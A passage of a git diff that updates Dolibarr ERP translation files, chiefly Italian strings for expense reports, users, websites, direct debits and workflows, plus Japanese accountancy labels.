      - Motivazione eliminazione: %s
      Clicca qui per visualizzare la nota spese: %s -ExpenseReportPaid=Una nota spese è stata pagata -ExpenseReportPaidMessage=La nota spese %s è stata rimborsata.
      - Utente: %s
      - Pagata da: %s
      Clicca qui per visualizzare la nota spese: %s -TripId=ID nota spese -AnyOtherInThisListCanValidate=Persona da informare per la convalida della richiesta. -TripSociete=Informazioni azienda -TripNDF=Informazioni nota spese -PDFStandardExpenseReports=Template standard per la generazione dei PDF delle not spese -ExpenseReportLine=Riga di nota spese -TF_OTHER=Altro -TF_TRIP=Trasporto -TF_LUNCH=Pranzo -TF_METRO=Metro -TF_TRAIN=Treno -TF_BUS=Bus -TF_CAR=Auto -TF_PEAGE=Pedaggio -TF_ESSENCE=Carburante -TF_HOTEL=Hotel -TF_TAXI=Taxi -EX_KME=Mileage costs -EX_FUE=Fuel CV -EX_HOT=Hotel -EX_PAR=Parking CV -EX_TOL=Toll CV -EX_TAX=Various Taxes -EX_IND=Indemnity transportation subscription -EX_SUM=Spese di mantenimento -EX_SUO=Office supplies -EX_CAR=Car rental -EX_DOC=Documentazione -EX_CUR=Customers receiving -EX_OTR=Other receiving -EX_POS=Postage -EX_CAM=CV maintenance and repair -EX_EMM=Employees meal -EX_GUM=Guests meal -EX_BRE=Breakfast -EX_FUE_VP=Fuel PV -EX_TOL_VP=Toll PV -EX_PAR_VP=Parking PV -EX_CAM_VP=PV maintenance and repair -DefaultCategoryCar=Default transportation mode -DefaultRangeNumber=Default range number -UploadANewFileNow=Carica un nuovo documento ora -Error_EXPENSEREPORT_ADDON_NotDefined=Error, the rule for expense report numbering ref was not defined into setup of module 'Expense Report' -ErrorDoubleDeclaration=Hai già inviata una nota spese per il periodo selezionato -AucuneLigne=Non ci sono ancora note spese -ModePaiement=Modalità di pagamento -VALIDATOR=Utente responsabile per l'approvazione -VALIDOR=Approvata da -AUTHOR=Registrata da -AUTHORPAIEMENT=Pagata da -REFUSEUR=Rifiutata da -CANCEL_USER=Cancellata da -MOTIF_REFUS=Motivo -MOTIF_CANCEL=Motivo -DATE_REFUS=Rifiutata in data -DATE_SAVE=Convalidata in data -DATE_CANCEL=Eliminata in data -DATE_PAIEMENT=Liquidata in data -ExpenseReportRef=Rif. nota spese -ValidateAndSubmit=Convalida e proponi per l'approvazione -ValidatedWaitingApproval=Convalidata (in attesa di approvazione) -NOT_AUTHOR=Non sei l'autore di questa nota spese. Operazione annullata. -ConfirmRefuseTrip=Vuoi davvero rifiutare questa nota spese? -ValideTrip=Approva la nota spese -ConfirmValideTrip=Vuoi davvero approvare questa nota spese? -PaidTrip=Liquida una nota spese -ConfirmPaidTrip=Vuoi davvero modificare lo stato di questa nota spese in "liquidata"? -ConfirmCancelTrip=Vuoi davvero eliminare questa nota spese? -BrouillonnerTrip=Riporta la nota spese allo stato di "bozza" -ConfirmBrouillonnerTrip=Vuoi davvero riportare questa nota spese allo stato "bozza"? -SaveTrip=Convalida la nota spese -ConfirmSaveTrip=Vuoi davvero convalidare questa nota spese? -NoTripsToExportCSV=Nessuna nota spese da esportare per il periodo -ExpenseReportPayment=Pagamento nota spese -ExpenseReportsToApprove=Note spese da approvare -ExpenseReportsToPay=Note spese da pagare -ConfirmCloneExpenseReport=Vuoi davvero clonare questa nota spese? ExpenseReportsIk=Configurazione del rimborso chilometrico ExpenseReportsRules=Regole note spese -ExpenseReportIkDesc=You can modify the calculation of kilometers expense by category and range who they are previously defined. d is the distance in kilometers -ExpenseReportRulesDesc=È possibile definire regole di importo massimo per le note spese. Queste regole verranno applicate quando una nuova spesa viene aggiunta a una nota spese -expenseReportOffset=Scostamento -expenseReportCoef=Coefficient -expenseReportTotalForFive=Example with d = 5 -expenseReportRangeFromTo=from %d to %d -expenseReportRangeMoreThan=più di %d -expenseReportCoefUndefined=(value not defined) -expenseReportCatDisabled=Category disabled - see the c_exp_tax_cat dictionary -expenseReportRangeDisabled=Range disabled - see the c_exp_tax_range dictionay -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Apply to -ExpenseReportDomain=Domain to apply -ExpenseReportLimitOn=Limit on -ExpenseReportDateStart=Data inizio -ExpenseReportDateEnd=Data fine -ExpenseReportLimitAmount=Importo massimo -ExpenseReportRestrictive=Superamento vietato -AllExpenseReport=All type of expense report -OnExpense=Expense line -ExpenseReportRuleSave=Regola note spese salvata -ExpenseReportRuleErrorOnSave=Error: %s -RangeNum=Raggio %d -ExpenseReportConstraintViolationError=Importo massimo superato (regola %s): %s è maggiore di %s (Superamento vietato) -byEX_DAY=per giorno (limitato a %s) -byEX_MON=by month (limitation to %s) -byEX_YEA=by year (limitation to %s) -byEX_EXP=by line (limitation to %s) -ExpenseReportConstraintViolationWarning=Importo massimo superato (regola %s): %s è maggiore di %s (Superamento autorizzato) +ExpenseReportsToApprove=Note spese da approvare +ExpenseReportsToPay=Note spese da pagare +ExpensesArea=Area note spese +FeesKilometersOrAmout=Tariffa kilometrica o importo +LastExpenseReports=Ultime %s note spese +ListOfFees=Elenco delle tariffe +ListOfTrips=Elenco note spese +ListToApprove=In attesa di approvazione +ListTripsAndExpenses=Elenco note spese +MOTIF_CANCEL=Motivo +MOTIF_REFUS=Motivo +ModePaiement=Modalità di pagamento +NewTrip=Nuova nota spese nolimitbyEX_DAY=per giorno (illimitato) +nolimitbyEX_EXP=by line (no limitation) nolimitbyEX_MON=by month (no limitation) nolimitbyEX_YEA=by year (no limitation) -nolimitbyEX_EXP=by line (no limitation) -CarCategory=Categoria veicoli -ExpenseRangeOffset=Offset amount: %s +NoTripsToExportCSV=Nessuna nota spese da esportare per il periodo +NOT_AUTHOR=Non sei l'autore di questa nota spese. Operazione annullata. +OnExpense=Expense line +PDFStandardExpenseReports=Template standard per la generazione dei PDF delle not spese +PaidTrip=Liquida una nota spese +REFUSEUR=Rifiutata da RangeIk=Mileage range -AttachTheNewLineToTheDocument=Associa la nuova riga ad un documento esistente +RangeNum=Raggio %d +SaveTrip=Convalida la nota spese +ShowExpenseReport=Mostra note spese +ShowTrip=Mostra note spese +TripCard=Scheda nota spese +TripId=ID nota spese +TripNDF=Informazioni nota spese +TripSociete=Informazioni azienda +Trips=Note spese +TripsAndExpenses=Note spese +TripsAndExpensesStatistics=Statistiche note spese +TypeFees=Tipi di imposte +UploadANewFileNow=Carica un nuovo documento ora +VALIDATOR=Utente responsabile per l'approvazione +VALIDOR=Approvata da +ValidateAndSubmit=Convalida e proponi per l'approvazione +ValidatedWaitingApproval=Convalidata (in attesa di approvazione) +ValideTrip=Approva la nota spese + +## Dictionary +EX_BRE=Breakfast +EX_CAM=CV maintenance and repair +EX_CAM_VP=PV maintenance and repair +EX_CAR=Noleggio auto +EX_CUR=Clienti che ricevono +EX_DOC=Documentazione +EX_EMM=Pasto dei dipendenti +EX_FUE=CV carburante +EX_FUE_VP=Fuel PV +EX_GUM=Pasto degli ospiti +EX_HOT=Hotel +EX_IND=Abbonamento trasporto indennizzo +EX_KME=Spese chilometriche +EX_OTR=Altra ricezione +EX_PAR=Parking CV +EX_PAR_VP=Parking PV +EX_POS=Postage +EX_SUM=Spese di mantenimento +EX_SUO=Forniture per ufficio +EX_TAX=Various Taxes +EX_TOL=Toll CV +EX_TOL_VP=Toll PV +TF_BUS=Bus +TF_CAR=Auto +TF_ESSENCE=Carburante +TF_HOTEL=Hotel +TF_LUNCH=Pranzo +TF_METRO=Metro +TF_OTHER=Altro +TF_PEAGE=Pedaggio +TF_TAXI=Taxi +TF_TRAIN=Treno +TF_TRIP=Trasporto diff --git a/htdocs/langs/it_IT/users.lang b/htdocs/langs/it_IT/users.lang index bc2975754e9..0862cfc82c8 100644 --- a/htdocs/langs/it_IT/users.lang +++ b/htdocs/langs/it_IT/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Rimuovi dal gruppo PasswordChangedAndSentTo=Password cambiata ed inviata a %s PasswordChangeRequest=Richiesta di modifica della password per %s PasswordChangeRequestSent=Richiesta di cambio password per %s da inviare a %s. -IfLoginExistPasswordRequestSent=Se questo accesso è un account valido, è stata inviata un'e-mail per reimpostare la password. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Se questa e-mail è un account valido, è stata inviata un'e-mail per reimpostare la password. ConfirmPasswordReset=Conferma la reimpostazione della password MenuUsersAndGroups=Utenti e gruppi @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Collegamento all'utente LinkedToDolibarrThirdParty=Collegamento a terze parti CreateDolibarrLogin=Crea accesso a Dolibarr CreateDolibarrThirdParty=Crea soggetto terzo -LoginAccountDisableInDolibarr=Account disattivato in Dolibarr +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Usa valore personalizzato -InternalUser=Utente interno ExportDataset_user_1=Utenti e dettagli DomainUser=Utente di dominio %s Reactivate=Riattiva @@ -128,3 +128,8 @@ DateLastLogin=Data ultimo accesso DatePreviousLogin=Data di accesso precedente IPLastLogin=IP ultimo accesso IPPreviousLogin=IP di accesso precedente +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/it_IT/website.lang b/htdocs/langs/it_IT/website.lang index df1c3006d7a..c178e59594b 100644 --- a/htdocs/langs/it_IT/website.lang +++ b/htdocs/langs/it_IT/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Codice +WebsiteName=Name of the website WebsiteSetupDesc=Crea qui i siti web che desideri utilizzare. Quindi vai nel menu Siti Web per modificarli. DeleteWebsite=Cancella sito web ConfirmDeleteWebsite=Sei sicuro di voler eliminare questo sito web? Verranno rimosse anche tutte le pagine e i suoi contenuti. I file caricati (come quelli nella directory medias, nel modulo ECM, ...) non verranno cancellati. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Addition at bottom of HTML Header (common to all pages) WEBSITE_ROBOT=File Robot (robots.txt) WEBSITE_HTACCESS=Website .htaccess file WEBSITE_MANIFEST_JSON=Website manifest.json file -WEBSITE_README=README.md file WEBSITE_KEYWORDSDesc=Usa una virgola per separare i valori -EnterHereLicenseInformation=Enter here meta data or license information to fille a README.md file. if you distribute your website as a template, the file will be included into the temptate package. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML header (specific to this page only) PageNameAliasHelp=Name or alias of the page.
      This alias is also used to forge a SEO URL when website is ran from a Virtual host of a Web server (like Apacke, Nginx, ...). Use the button "%s" to edit this alias. EditTheWebSiteForACommonHeader=Note: If you want to define a personalized header for all pages, edit the header on the site level instead of on the page/container. @@ -42,6 +43,8 @@ ViewPageInNewTab=Visualizza pagina in una nuova scheda SetAsHomePage=Imposta come homepage RealURL=Indirizzo URL vero ViewWebsiteInProduction=View web site using home URLs +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Usa con Apache / NGinx / ...
      Crea sul tuo server web (Apache, Nginx, ...) un host virtuale dedicato con PHP abilitato e una directory principale su
      %s ExampleToUseInApacheVirtualHostConfig=Esempio da utilizzare nella configurazione dell'host virtuale Apache: YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s pagina(e)/contenitore(i) rigenerato RegenerateWebsiteContent=Rigenera i file della cache del sito web AllowedInFrames=Consentito nel frame DefineListOfAltLanguagesInWebsiteProperties=Definisce l'elenco di tutte le lingue disponibili nelle proprietà del sito web. -GenerateSitemaps=Genera file sitemap del sito web +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Se confermi, cancellerai il file sitemap esistente... ConfirmSitemapsCreation=Conferma la generazione del sitemap SitemapGenerated=File sitemap %s generato @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon deve essere png ErrorFaviconSize=La favicon deve essere di dimensioni 16x16, 32x32 o 64x64 FaviconTooltip=Carica un'immagine che deve essere un png (16x16, 32x32 o 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/it_IT/withdrawals.lang b/htdocs/langs/it_IT/withdrawals.lang index 2d6a6b05113..b0f951d47e7 100644 --- a/htdocs/langs/it_IT/withdrawals.lang +++ b/htdocs/langs/it_IT/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Fattura in attesa di bonifico AmountToWithdraw=Importo da prelevare AmountToTransfer=Importo da trasferire NoInvoiceToWithdraw=Nessuna fattura aperta per '%s' è in attesa. Vai sulla scheda '%s' sulla scheda fattura per effettuare una richiesta. -NoSupplierInvoiceToWithdraw=Nessuna fattura fornitore con "Richieste di credito diretto" aperte è in attesa. Vai sulla scheda '%s' sulla scheda fattura per effettuare una richiesta. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=User Responsible WithdrawalsSetup=Direct debit payment setup CreditTransferSetup=Impostazione del bonifico @@ -42,6 +42,7 @@ CreditTransferStatistics=Statistiche sul trasferimento di crediti Rejects=Respinge LastWithdrawalReceipt=Latest %s direct debit receipts MakeWithdrawRequest=Effettua una richiesta di addebito diretto +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Invia una richiesta di bonifico WithdrawRequestsDone=%s direct debit payment requests recorded BankTransferRequestsDone=%s richieste di bonifico registrate @@ -100,8 +101,11 @@ CreditDate=Data di accredito WithdrawalFileNotCapable=Unable to generate withdrawal receipt file for your country %s (Your country is not supported) ShowWithdraw=Mostra ordine di addebito diretto IfInvoiceNeedOnWithdrawPaymentWontBeClosed=However, if invoice has at least one direct debit payment order not yet processed, it won't be set as paid to allow prior withdrawal management. -DoStandingOrdersBeforePayments=Questa scheda consente di richiedere un ordine di pagamento con addebito diretto. Una volta fatto, vai nel menu Banca-> Pagamento con addebito diretto per generare e gestire l'ordine di addebito diretto. Quando l'ordine di addebito diretto viene chiuso, il pagamento sulle fatture verrà automaticamente registrato e le fatture chiuse se il resto da pagare è nullo. -DoCreditTransferBeforePayments=Questa scheda consente di richiedere un ordine di bonifico. Una volta fatto, vai nel menu Banca-> Pagamento tramite bonifico per generare e gestire l'ordine di trasferimento del credito. Quando l'ordine di trasferimento del credito viene chiuso, il pagamento sulle fatture verrà automaticamente registrato e le fatture chiuse se il resto da pagare è nullo. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=File ordine di addebito CreditTransferFile=File di trasferimento di credito SetToStatusSent=Imposta stato come "file inviato" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Unable to create direct debit request for empty am SepaMandate=Mandato per addebito diretto SEPA SepaMandateShort=Mandato SEPA PleaseReturnMandate=Si prega di ritornare il mandato tramite email a %s o tramite mail a -SEPALegalText=Firmando questo modulo di mandato, autorizzi (A) %s a inviare istruzioni alla tua banca per addebitare il tuo conto e (B) la tua banca ad addebitare il tuo conto secondo le istruzioni di %s. Come parte dei tuoi diritti, hai diritto a un rimborso dalla tua banca secondo i termini e le condizioni del tuo accordo con la tua banca. I tuoi diritti in merito al mandato di cui sopra sono illustrati in una dichiarazione che puoi ottenere dalla tua banca. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Id Creditore SEPA CreditorName=Creditor Name SEPAFillForm=(B) Completare tutti i campi contrassegnati da * diff --git a/htdocs/langs/it_IT/workflow.lang b/htdocs/langs/it_IT/workflow.lang index 03a0abc7627..0ed0577720d 100644 --- a/htdocs/langs/it_IT/workflow.lang +++ b/htdocs/langs/it_IT/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Crea automaticamente un ordine cliente dopo descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Crea automaticamente una fattura cliente dopo aver firmato una proposta commerciale (la nuova fattura avrà lo stesso importo della proposta) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Creare automaticamente una fattura attiva alla convalida del contratto descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Crea automaticamente una fattura cliente dopo che un ordine cliente è stato chiuso (la nuova fattura avrà lo stesso importo dell'ordine) +descWORKFLOW_TICKET_CREATE_INTERVENTION=Alla creazione del ticket, crea automaticamente un intervento. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Classifica come "da fatturare" la/e proposta/e commerciale/i quando l'ordine cliente collegato è impostato come da fatturare (e se l'ammontare dell'ordine è lo stesso ammontare della proposta commerciale firmata e collegata) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Classifica "fatturate" le proposte collegate quando la fattura cliente è validata (e se l'importo della fattura è uguale all'importo totale delle proposte collegate) @@ -17,14 +18,19 @@ descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classificare l'ordine client # Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Classify linked source vendor proposal(s) to billed when vendor invoice is validated (and if amount of the invoice is same than total amount of linked proposals) # Autoclassify purchase order -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classify linked source purchase order(s) to billed when vendor invoice is validated (and if amount of the invoice is same than total amount of linked orders) +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classifica "fatturato" gli ordini fornitori collegati quando la fattura fornitore viene convalidata. (e se l'importo della fattura è uguale all'importo totale di ordini collegati) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classificare l'ordine di acquisto di origine collegato come ricevuto quando viene convalidato un ricevimento (e se la quantità ricevuta da tutti i ricevimenti è la stessa dell'ordine di acquisto da aggiornare) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classificare l'ordine di acquisto di origine collegata come ricevuto alla chiusura di un ricevimento (e se la quantità ricevuta da tutti i ricevimenti è la stessa dell'ordine di acquisto da aggiornare) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Classificare le ricezioni in "fatturate" quando un ordine fornitore collegato viene convalidato +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=Quando crei un biglietto, collega i contratti disponibili di terze parti corrispondenti +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Quando si collegano i contratti, cercare tra quelli delle società madri # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Chiudi tutti gli interventi legati al ticket quando un ticket è chiuso AutomaticCreation=Creazione automatica AutomaticClassification=Classificazione automatica # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classificare la spedizione di origine collegata come chiusa quando la fattura del cliente viene convalidata +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Chiusura automatica +AutomaticLinking=Collegamento automatico diff --git a/htdocs/langs/ja_JP/accountancy.lang b/htdocs/langs/ja_JP/accountancy.lang index 8eb9dd0b0cd..47ba07a9b93 100644 --- a/htdocs/langs/ja_JP/accountancy.lang +++ b/htdocs/langs/ja_JP/accountancy.lang @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=設定で定義されていないベンダー MainAccountForUsersNotDefined=設定で定義されていないユーザのメイン勘定科目 MainAccountForVatPaymentNotDefined=設定で定義されていないVAT支払のメイン勘定科目 MainAccountForSubscriptionPaymentNotDefined=設定で定義されていないサブスクリプション支払のメイン勘定科目 +UserAccountNotDefined=設定で定義されていないユーザの会計勘定科目 AccountancyArea=経理エリア AccountancyAreaDescIntro=会計モジュールの使用は、いくつかのステップで行われる。 @@ -100,7 +101,8 @@ ShowAccountingAccount=勘定科目を表示 ShowAccountingJournal=仕訳日記帳を表示 ShowAccountingAccountInLedger=元帳で勘定科目を表示 ShowAccountingAccountInJournals=日記帳で勘定科目を表示 -AccountAccountingSuggest=示唆された勘定科目 +DataUsedToSuggestAccount=アカウントの提案に使用されるデータ +AccountAccountingSuggest=アカウントが提案された MenuDefaultAccounts=規定の科目 MenuBankAccounts=銀行口座 MenuVatAccounts=消費税科目 @@ -125,6 +127,7 @@ WriteBookKeeping=会計での取引の記録 Bookkeeping=元帳 BookkeepingSubAccount=補助元帳 AccountBalance=勘定残高 +AccountBalanceSubAccount=サブアカウントの残高 ObjectsRef=ソースオブジェクト参照 CAHTF=税引前の合計購入ベンダー TotalExpenseReport=総経費報告書 @@ -159,47 +162,50 @@ ACCOUNTING_LENGTH_GACCOUNT=一般勘定科目の長さ(ここで値を6に設定 ACCOUNTING_LENGTH_AACCOUNT=取引先の勘定科目の長さ(ここで値を6に設定すると、科目「401」は画面に「401000」のように表示される) ACCOUNTING_MANAGE_ZERO=勘定科目の最後に異なる数のゼロを管理できるようにする。一部の国(スイスなど)で必要。オフ(デフォルト)に設定すると、次の2つのパラメーターを設定して、アプリケーションに仮想ゼロを追加するように要求できる。 BANK_DISABLE_DIRECT_INPUT=銀行口座での取引の直接記録を無効にする -ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=仕訳帳で下書きエクスポートを有効にする -ACCOUNTANCY_COMBO_FOR_AUX=子会社アカウントのコンボリストを有効にする (取引先が多数あると遅くなるだろうし、値の一部検索機能は壊れる) +ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=仕訳帳で下書きエクスポートを有効化 +ACCOUNTANCY_COMBO_FOR_AUX=子会社アカウントのコンボリストを有効化 (取引先が多数あると遅くなるだろうし、値の一部検索機能は壊れる) ACCOUNTING_DATE_START_BINDING=会計で結合と転記を開始する日付を定義する。この日付を下回ると、取引は会計に転記されない。 ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=会計転送では、デフォルトで選択される期間は何か -ACCOUNTING_SELL_JOURNAL=販売仕訳帳 -ACCOUNTING_PURCHASE_JOURNAL=購買仕訳帳 -ACCOUNTING_MISCELLANEOUS_JOURNAL=その他仕訳帳 +ACCOUNTING_SELL_JOURNAL=販売仕訳帳 - 販売と返品 +ACCOUNTING_PURCHASE_JOURNAL=仕訳帳 - 購入と返品 +ACCOUNTING_BANK_JOURNAL=現金仕訳帳 - 入出金 ACCOUNTING_EXPENSEREPORT_JOURNAL=経費報告仕訳帳 -ACCOUNTING_SOCIAL_JOURNAL=交際費仕訳帳 +ACCOUNTING_MISCELLANEOUS_JOURNAL=一般仕訳帳 ACCOUNTING_HAS_NEW_JOURNAL=新規仕訳帳がある +ACCOUNTING_INVENTORY_JOURNAL=在庫仕訳帳 +ACCOUNTING_SOCIAL_JOURNAL=交際費仕訳帳 ACCOUNTING_RESULT_PROFIT=結果勘定科目(利益) ACCOUNTING_RESULT_LOSS=結果勘定科目(損失) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=閉鎖の仕訳帳 -ACCOUNTING_ACCOUNT_TRANSFER_CASH=中継銀行振込の会計勘定科目 +ACCOUNTING_ACCOUNT_TRANSFER_CASH=移行用の銀行振込の口座として使用される口座 (勘定科目表から) TransitionalAccount=中継銀行振込口座 -ACCOUNTING_ACCOUNT_SUSPENSE=待機の勘定科目 -DONATION_ACCOUNTINGACCOUNT=寄付を登録するための勘定科目 -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=サブスクリプションを登録するための勘定科目 +ACCOUNTING_ACCOUNT_SUSPENSE=受け取った、または支払った未割り当ての資金、つまり「待機[中]」の資金の口座として使用される口座 (口座チャートから) +DONATION_ACCOUNTINGACCOUNT=寄付の登録に使用するアカウント (勘定科目表から) (寄付モジュール) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=メンバーシップのサブスクリプションを登録するために使用されるアカウント (アカウント チャートから) (メンバーシップ モジュール - メンバーシップが請求書なしで記録されている場合) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=顧客入金を登録するためのデフォルトの勘定科目 +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=顧客預金を登録するためのデフォルト口座として使用される口座 (勘定科目表から) UseAuxiliaryAccountOnCustomerDeposit=顧客アカウントを頭金ラインの補助元帳に個人アカウントとして保存する(無効にした場合、頭金ラインの個人アカウントは空のままになる) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=仕入先預金を登録するためのデフォルトの会計口座 +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=デフォルトとして使用される勘定科目 (勘定科目表から) UseAuxiliaryAccountOnSupplierDeposit=仕入先勘定を、前払明細の補助元帳に個別勘定として保管する (無効にすると、前払明細の個別勘定は空のままになる)。 +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=顧客保有保証を登録するためのデフォルトのアカウンティング アカウント -ACCOUNTING_PRODUCT_BUY_ACCOUNT=購入した製品のデフォルトの勘定科目(製品シートで定義されていない場合に使用) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=EEC域内で購入した製品のデフォルト勘定科目(製品シートで定義されていない場合に使用) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=購入品で、EEC域外から輸入された製品のデフォルト勘定科目(製品シートで定義されていない場合に使用) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=販売された製品のデフォルトの勘定科目(製品シートで定義されていない場合に使用) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=EECで販売された製品のデフォルトの勘定科目(製品シートで定義されていない場合に使用) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=EECから販売およびエクスポートされた製品のデフォルトの勘定科目(製品シートで定義されていない場合に使用) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=同じ国内で購入された製品のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (製品シートで定義されていない場合に使用) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=EEC から別の EEC 国に購入された製品のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (製品シートで定義されていない場合に使用) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=他の外国から購入および輸入された製品のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (製品シートで定義されていない場合に使用) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=販売された製品のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (製品シートで定義されていない場合に使用) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=EEC から別の EEC 国に販売される製品のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (製品シートで定義されていない場合に使用) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=他の外国に販売および輸出される製品のデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (製品シートで定義されていない場合に使用) -ACCOUNTING_SERVICE_BUY_ACCOUNT=購入したサービスのデフォルトの勘定科目(サービスシートで定義されていない場合に使用) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=EECで購入したサービスのデフォルトの勘定科目(サービスシートで定義されていない場合に使用) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=購入したサービスおよびEECからインポートされたサービスのデフォルトの勘定科目(サービスシートで定義されていない場合に使用) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=販売されたサービスのデフォルトの勘定科目(サービスシートで定義されていない場合に使用) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=EECで販売されるサービスのデフォルトの勘定科目(サービスシートで定義されていない場合に使用) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=EECから販売およびエクスポートされたサービスのデフォルトの勘定科目(サービスシートで定義されていない場合に使用) +ACCOUNTING_SERVICE_BUY_ACCOUNT=同じ国内で購入されたサービスのデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (サービス シートで定義されていない場合に使用) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=EEC から別の EEC 国に購入したサービスのデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (サービス シートで定義されていない場合に使用) 